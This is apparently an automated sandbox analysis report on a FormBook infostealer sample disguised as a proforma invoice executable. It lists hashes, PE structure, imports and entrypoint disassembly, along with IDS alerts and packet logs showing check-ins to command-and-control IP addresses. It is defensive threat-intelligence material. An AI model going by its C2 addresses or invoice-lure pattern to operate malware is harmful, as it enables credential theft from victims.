Preview:	.h...PDA4...O...v.DB..qE^..JPDA4DCYFV2AJJPDA4DCYFV2AJJPDA.DCYHI.OJ.Y.`.E..g.Z(9j 6.S6"4f5S/$%$d#Qd1,(v[/j...aY+'<h[?KnJPDA4DC G_.\|-.y!S.~9!.(..j$&.^..jR&.P...$$..?Q)w7.A4DCYFV2..JP.@5Di=..2AJJPDA4.C[G]3JJJ.@A4DCYFV2Aj^PDA$DCY6R2AJ.PDQ4DC[FV4AJJPDA4BCYFV2AJJ @A4FCYFV2AHJ..A4TCYVV2AJZPDQ4DCYFV"AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2Ad>5<54DC].R2AZJPD.0DCIFV2AJJPDA4DCYFv2A*JPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCY

C:\Users\user\AppData\Local\Temp\x--942kI

Download File

Process:	C:\Windows\SysWOW64\chkntfs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.228108235330586
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	PROFORMA INVOICE BKS-0121-24-25-JP240604.exe
File size:	1'345'024 bytes
MD5:	2d7b8c66b77445f402f18ae1074eed34
SHA1:	30c2bfd7f1b013360a7a2d5e956d790e79224558
SHA256:	b46420c24a371b5b05317ec59c65e7c7d6fdbfb772460f8f812810d7871da039
SHA512:	931e42f10c550d11cef1dddc18829b39333fe41e82a2bbe059fcd45087ed10ad356e249b04f812fd2757f2d9855005445faf67eff1df0c366829ac6e0f2b16f2
SSDEEP:	24576:HqDEvCTbMWu7rQYlBQcBiT6rprG8akQIUbOKmlWzhKNy4t8Mn:HTvC/MTQYxsWR7akzwmQWyS8M
TLSH:	D355D0037391C062FF9B92334B5AF6115BBC69660123E61F13981DBABE701B1563E7A3
File Content Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......................j:......j:..C...j:......@.*...............................n.......~.............{.......{.......{.........z....

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x420577
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66DE324A [Sun Sep 8 23:24:58 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	948cc502fe9226992dce9417f952fce3

Entrypoint Preview

Instruction
call 00007F1FEC4F3CE3h
jmp 00007F1FEC4F35EFh
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007F1FEC4F37CDh
mov dword ptr [esi], 0049FDF0h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 0049FDF8h
mov dword ptr [ecx], 0049FDF0h
ret
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007F1FEC4F379Ah
mov dword ptr [esi], 0049FE0Ch
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 0049FE14h
mov dword ptr [ecx], 0049FE0Ch
ret
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 0049FDD0h
and dword ptr [eax], 00000000h
and dword ptr [eax+04h], 00000000h
push eax
mov eax, dword ptr [ebp+08h]
add eax, 04h
push eax
call 00007F1FEC4F638Dh
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
lea eax, dword ptr [ecx+04h]
mov dword ptr [ecx], 0049FDD0h
push eax
call 00007F1FEC4F63D8h
pop ecx
ret
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 0049FDD0h
push eax
call 00007F1FEC4F63C1h
test byte ptr [ebp+08h], 00000001h
pop ecx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc8e64	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xd4000	0x71af8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x146000	0x7594	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xb0ff0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xc3400	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xb1010	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9c000	0x894	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x9ab1d	0x9ac00	0a1473f3064dcbc32ef93c5c8a90f3a6	False	0.565500681542811	data	6.668273581389308	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9c000	0x2fb82	0x2fc00	c9cf2468b60bf4f80f136ed54b3989fb	False	0.35289185209424084	data	5.691811547483722	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xcc000	0x706c	0x4800	53b9025d545d65e23295e30afdbd16d9	False	0.04356553819444445	DOS executable (block device driver @\273\)	0.5846666986982398	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xd4000	0x71af8	0x71c00	b16110d800a807e608b67341efe5badd	False	0.9422518887362638	data	7.924396242980671	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x146000	0x7594	0x7600	c68ee8931a32d45eb82dc450ee40efc3	False	0.7628111758474576	data	6.7972128181359786	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xd45a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xd46d0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xd47f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xd4920	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0xd4c08	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0xd4d30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0xd5bd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0xd6480	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0xd69e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0xd8f90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0xda038	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_MENU	0xda4a0	0x50	data	English	Great Britain	0.9
RT_STRING	0xda4f0	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xdaa84	0x68a	data	English	Great Britain	0.2735961768219833
RT_STRING	0xdb110	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xdb5a0	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xdbb9c	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xdc1f8	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xdc660	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xdc7b8	0x68dbd	data			1.0003282879434507
RT_GROUP_ICON	0x145578	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0x1455f0	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x145604	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x145618	0x14	data	English	Great Britain	1.25
RT_VERSION	0x14562c	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x145708	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	gethostbyname, recv, send, socket, inet_ntoa, setsockopt, ntohs, WSACleanup, WSAStartup, sendto, htons, __WSAFDIsSet, select, accept, listen, bind, inet_addr, ioctlsocket, recvfrom, WSAGetLastError, closesocket, gethostname, connect
VERSION.dll	GetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetGetConnectionW, WNetCancelConnection2W, WNetUseConnectionW, WNetAddConnection2W
WININET.dll	HttpOpenRequestW, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, InternetConnectW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetQueryDataAvailable
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpSendEcho, IcmpCloseHandle, IcmpCreateFile
USERENV.dll	DestroyEnvironmentBlock, LoadUserProfileW, CreateEnvironmentBlock, UnloadUserProfile
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetShortPathNameW, DeleteFileW, IsDebuggerPresent, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, LoadResource, LockResource, SizeofResource, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, LoadLibraryW, GetLocalTime, CompareStringW, GetCurrentThread, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, VirtualAlloc, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, ResetEvent, WaitForSingleObjectEx, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, CloseHandle, GetFullPathNameW, GetStartupInfoW, GetSystemTimeAsFileTime, InitializeSListHead, RtlUnwind, SetLastError, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, ResumeThread, FreeLibraryAndExitThread, GetACP, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetStringTypeW, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, ReadConsoleW, GetTimeZoneInformation, FindFirstFileExW, IsValidCodePage, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableA, SetCurrentDirectoryW, FindNextFileW, WriteConsoleW
USER32.dll	GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, PeekMessageW, GetInputState, UnregisterHotKey, CharLowerBuffW, MonitorFromPoint, MonitorFromRect, LoadImageW, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, ClientToScreen, GetCursorPos, DeleteMenu, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, LockWindowUpdate, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, RegisterHotKey, GetCursorInfo, SetWindowPos, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, TrackPopupMenuEx, GetMessageW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, DispatchMessageW, keybd_event, TranslateMessage, ScreenToClient
GDI32.dll	EndPath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, GetDeviceCaps, SetPixel, CloseFigure, LineTo, AngleArc, MoveToEx, Ellipse, CreateCompatibleBitmap, CreateCompatibleDC, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, SelectObject, StretchBlt, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, GetDIBits, StrokePath
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, RegCreateKeyExW, GetSecurityDescriptorDacl, GetAclInformation, GetUserNameW, AddAce, SetSecurityDescriptorDacl, InitiateSystemShutdownExW
SHELL32.dll	DragFinish, DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
OLEAUT32.dll	CreateStdDispatch, CreateDispTypeInfo, UnRegisterTypeLib, UnRegisterTypeLibForUser, RegisterTypeLibForUser, RegisterTypeLib, LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, VariantChangeType, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, SysStringLen, QueryPathOfRegTypeLib, SysAllocString, VariantInit, VariantClear, DispCallFunc, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, SafeArrayDestroyDescriptor, VariantCopy, OleLoadPicture

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-09T10:42:02.542420+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49268	199.59.243.226	80	TCP
2024-09-09T10:42:05.095156+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49269	199.59.243.226	80	TCP
2024-09-09T10:42:07.641050+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49270	199.59.243.226	80	TCP
2024-09-09T10:42:16.650831+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49273	154.23.184.240	80	TCP
2024-09-09T10:42:19.202501+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49274	154.23.184.240	80	TCP
2024-09-09T10:42:22.191354+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49275	154.23.184.240	80	TCP
2024-09-09T10:42:43.708091+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49281	162.0.239.141	80	TCP
2024-09-09T10:42:46.461747+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49282	162.0.239.141	80	TCP
2024-09-09T10:42:48.739895+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49283	162.0.239.141	80	TCP
2024-09-09T10:42:56.980511+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49285	199.59.243.226	80	TCP
2024-09-09T10:42:59.560751+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49286	199.59.243.226	80	TCP
2024-09-09T10:43:02.119279+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49287	199.59.243.226	80	TCP
2024-09-09T10:43:35.074950+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49289	161.97.168.245	80	TCP
2024-09-09T10:43:37.713562+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49290	161.97.168.245	80	TCP
2024-09-09T10:43:40.161311+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49291	161.97.168.245	80	TCP
2024-09-09T10:43:48.226968+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49293	3.33.130.190	80	TCP
2024-09-09T10:43:50.757266+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49294	3.33.130.190	80	TCP
2024-09-09T10:43:53.292938+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49295	3.33.130.190	80	TCP
2024-09-09T10:44:03.225243+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49297	218.247.68.184	80	TCP
2024-09-09T10:44:05.503173+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49298	218.247.68.184	80	TCP
2024-09-09T10:44:08.473468+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49299	218.247.68.184	80	TCP
2024-09-09T10:44:16.512154+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49301	13.248.169.48	80	TCP
2024-09-09T10:44:19.080569+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49302	13.248.169.48	80	TCP
2024-09-09T10:44:22.092878+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49303	13.248.169.48	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 9, 2024 10:41:46.314311028 CEST	49267	80	192.168.2.5	96.126.123.244
Sep 9, 2024 10:41:46.319351912 CEST	80	49267	96.126.123.244	192.168.2.5
Sep 9, 2024 10:41:46.319509983 CEST	49267	80	192.168.2.5	96.126.123.244
Sep 9, 2024 10:41:46.327801943 CEST	49267	80	192.168.2.5	96.126.123.244
Sep 9, 2024 10:41:46.333036900 CEST	80	49267	96.126.123.244	192.168.2.5
Sep 9, 2024 10:41:46.855036020 CEST	80	49267	96.126.123.244	192.168.2.5
Sep 9, 2024 10:41:46.855057001 CEST	80	49267	96.126.123.244	192.168.2.5
Sep 9, 2024 10:41:46.855161905 CEST	80	49267	96.126.123.244	192.168.2.5
Sep 9, 2024 10:41:46.855247021 CEST	49267	80	192.168.2.5	96.126.123.244
Sep 9, 2024 10:41:46.855276108 CEST	49267	80	192.168.2.5	96.126.123.244
Sep 9, 2024 10:41:46.858531952 CEST	49267	80	192.168.2.5	96.126.123.244
Sep 9, 2024 10:41:46.863279104 CEST	80	49267	96.126.123.244	192.168.2.5
Sep 9, 2024 10:42:02.077414036 CEST	49268	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:02.082206011 CEST	80	49268	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:02.082295895 CEST	49268	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:02.094064951 CEST	49268	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:02.098860979 CEST	80	49268	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:02.542252064 CEST	80	49268	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:02.542270899 CEST	80	49268	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:02.542287111 CEST	80	49268	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:02.542419910 CEST	49268	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:03.607466936 CEST	49268	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:04.626279116 CEST	49269	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:04.631478071 CEST	80	49269	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:04.631565094 CEST	49269	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:04.643083096 CEST	49269	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:04.649811029 CEST	80	49269	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:05.095016956 CEST	80	49269	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:05.095036983 CEST	80	49269	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:05.095052004 CEST	80	49269	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:05.095155954 CEST	49269	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:06.154218912 CEST	49269	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:07.173798084 CEST	49270	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:07.178654909 CEST	80	49270	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:07.178771973 CEST	49270	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:07.191181898 CEST	49270	80	192.168.2.5	199.59.243.226
Sep 9, 2024 10:42:07.195966005 CEST	80	49270	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:07.196145058 CEST	80	49270	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:07.640871048 CEST	80	49270	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:07.640994072 CEST	80	49270	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:07.641005993 CEST	80	49270	199.59.243.226	192.168.2.5
Sep 9, 2024 10:42:07.641050100 CEST	49270	80	192.168.2.5	199.59.243.226
